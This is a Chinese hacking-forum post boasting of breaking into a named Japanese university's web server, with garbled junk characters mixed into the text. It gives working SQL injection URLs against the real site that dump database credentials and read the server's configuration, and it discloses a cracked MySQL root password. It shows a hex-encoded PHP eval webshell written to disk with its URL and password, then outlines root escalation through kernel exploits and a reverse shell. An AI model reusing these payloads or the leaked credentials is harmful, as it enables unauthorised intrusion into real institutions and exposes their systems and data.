找回密码
 立即注册
查看: 3418|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
% P" T- F+ E8 V, A7 U! b4 [; J- E) [' O! C6 O) e
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
* [+ M- v1 D  v" K$ Q6 X2 E& i然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:2 T/ N, A, W. f  a2 M
& N- z& l# T2 f$ T
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user# O# B2 Y6 W, ~! g  D

% X8 o& L! X" l . T6 ]' h' \/ E
/ ?0 b0 a  v. A: b0 F# h3 ^
//@@datadir为数据库文件路径 / L: z) G6 r9 f# J7 h

" f" u4 d8 v' Y9 ]  O% b0 C
9 ?* Z# H& z1 Q0 G8 B& H& E: e//load_file读取网站容器apache的配置文件 5 O6 D: a& ~5 b. h0 f, Y! G+ g9 ^% Z

5 `& U4 J/ a! ?" D: [/ d( A0 y/ v& R' y* K' ~7 Q
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 / O# Y& r5 m# c2 J' Q
复制代码
: i* n8 d( l1 Y' d: y; z$ l9 K: o$ O0 b
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
) o% F4 W4 o5 J0 P7 Z. S/ y# `: C& C% P6 q8 N1 j4 `' X
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。0 P" k  U- w. ]9 J$ O5 u4 m- `- A
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" Y. ^4 g5 q, h" `7 P
& H$ F/ l4 g! U  `3 G
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
: y6 f% `! \7 M/ a. q9 f+ A如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 D# P5 {0 s* D  E
$ N0 S& L: ]7 K- ^7 `$ z+ ~; t既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
# e; z* ~% a+ l+ C% V虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。# p3 o' [% p+ A- K
直接写一句话:
. ?2 ?. H# }( P. k2 S0 B/ o' s% j
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#0 X9 u! j. t) U; @- o- ?

" m2 [: }  E$ U, t! {% L9 a$ [
2 u9 ?& k  U+ ?6 D( Q- o. c! @1 t' H7 x- M5 }
//最后的#是为了闭合前面的语句 " I( f) p* e5 Y5 A2 P

& m. p3 ^9 R3 ?+ a  Z; h2 O% ]) B* A; {: K
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E * K& I3 H' B/ y% ?8 N
# o/ Z6 `) r: G" a; N7 R& J  q
0 K% |% ~+ P( X" m9 m! {
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
) X$ \, }, G1 V. H) {8 l. b
* ^& F- ?( ?6 L( h; h
# v6 l$ e' Y. h//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 7 Z* W0 B' \" h, ]
$ M1 C& p: O# f8 e' g

) `. t) m$ J# u; o' c( N6 i% a//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 % i" d6 o/ g1 @* p+ H  \; x& ~- I
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
' j' S, F6 `* ]4 e1 T, T. k复制代码
  Z5 A  @* A! K) U) y% U3 ~4 q. G* |
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
& m* W, b& g( F; Q! K& ^% @通过上述注入语句,我们就得到了一句话木马:  l4 P; {* B" k3 I2 x
/ y9 |) D* H  v0 |  D
; R$ k& y% \! B( L$ y" \

1 t; Q' x3 w5 O0 J1 r) t1 i + L8 ^4 @6 w* J  y" T1 X
( z( J+ A9 c+ q+ X
http://www.doshisha.ac.jp/english/engnews_img/aa.php
: [, e- c4 K+ S7 J复制代码
- L, r9 k3 ~- R, A' ~, e$ H9 O, y3 I, S, o9 P& H
用菜刀连接,密码是cmd,如图所示:
! _1 b6 s5 y* Q7 B) X4 C然后在命令提示行里看了一下,现在的权限是:
! T$ N. x6 V; C3 M0 i4 G
5 |# ^0 h: o7 v; @6 a8 B+ ?之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。1 y8 g* o- x6 ^: g' D* T
好在赋权给这个文件夹不需要root,直接执行赋权语句:4 R7 S7 ~6 R; b$ L# R4 y- f
' Q( |' h; D, k0 o6 C  q

0 ^  z" M; t& H4 g% N1 I
0 O) s8 N- S, ?
' O4 f* h/ S( L; X$ I
4 w- y! m3 V. a) Ichmod +x /tmp/
  ?1 F( Z; \1 p1 H  i复制代码: Q( H6 E. ]6 j- C! T

% K) N1 k) f1 Y' m$ V8 ^3 b* f在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: c: \3 i& V  b6 p
然后就查了一下内核版本:8 v: F, o0 i+ b4 p
* x$ s: A" }$ O8 f, _
* b" j! o- s2 J; J
; R. y  v& F% ^9 x: X) K$ k

1 I/ C$ Y! c# H6 G% U# i) _6 m+ d. R+ S3 V
uname-a : P* `$ M5 q0 k; k2 O
+ Y, U+ y) c* @- t+ [
. v4 f5 y8 _4 r% \3 F
//其实lsb_release -a
3 r- I% {7 f- C. O3 M2 ]8 V% |( K' [复制代码/ U  x( B7 b7 h, W

  B2 {. X( \1 S- `4 X2 e9 v8 s" }如图所示:* \1 d" q- j3 S: O5 r% y4 c

! T% B  b9 e6 G! a7 H( a$ A3 Y内核版本:linux mainz1 2.6.28-194.e15% ~% V" Y/ Q( {+ @3 j0 W* C' u0 D- h
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)$ k% l, |% x4 W& k2 j, z
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹  P6 i' i7 ]9 N# }! n

+ o! d7 R& L' a) c& a0 y3 o然后给予执行权限
3 b/ P/ q+ x6 S2 L一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样- `/ z% ~& ^+ z1 U/ x: F, ~+ w
1 n2 \+ l; J3 {" L3 V$ Z# b4 J
6 M& m. q! L6 Z% _6 A, ?$ W) U

* d0 h8 n- I# N' z9 h
& }' t/ X$ Z: z1 X5 F
8 A! n' M+ t! E0 mchmod +x /tmp/2.6.18-194 . n8 j7 m) _( e9 M
复制代码 然后直接执行!~  v2 |, |- t. ~8 g. @  r3 ]9 B

* l  d6 r4 A1 E3 [- L/ y总结:# A0 J- h$ i8 @0 h/ ^' g+ Z
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 d; [: r& s( I8 a5 J. Z4 k4 j提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root' u* C; e2 r( U9 z( w0 p

+ X+ _1 M" m% K9 C8 ?, n; d. o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表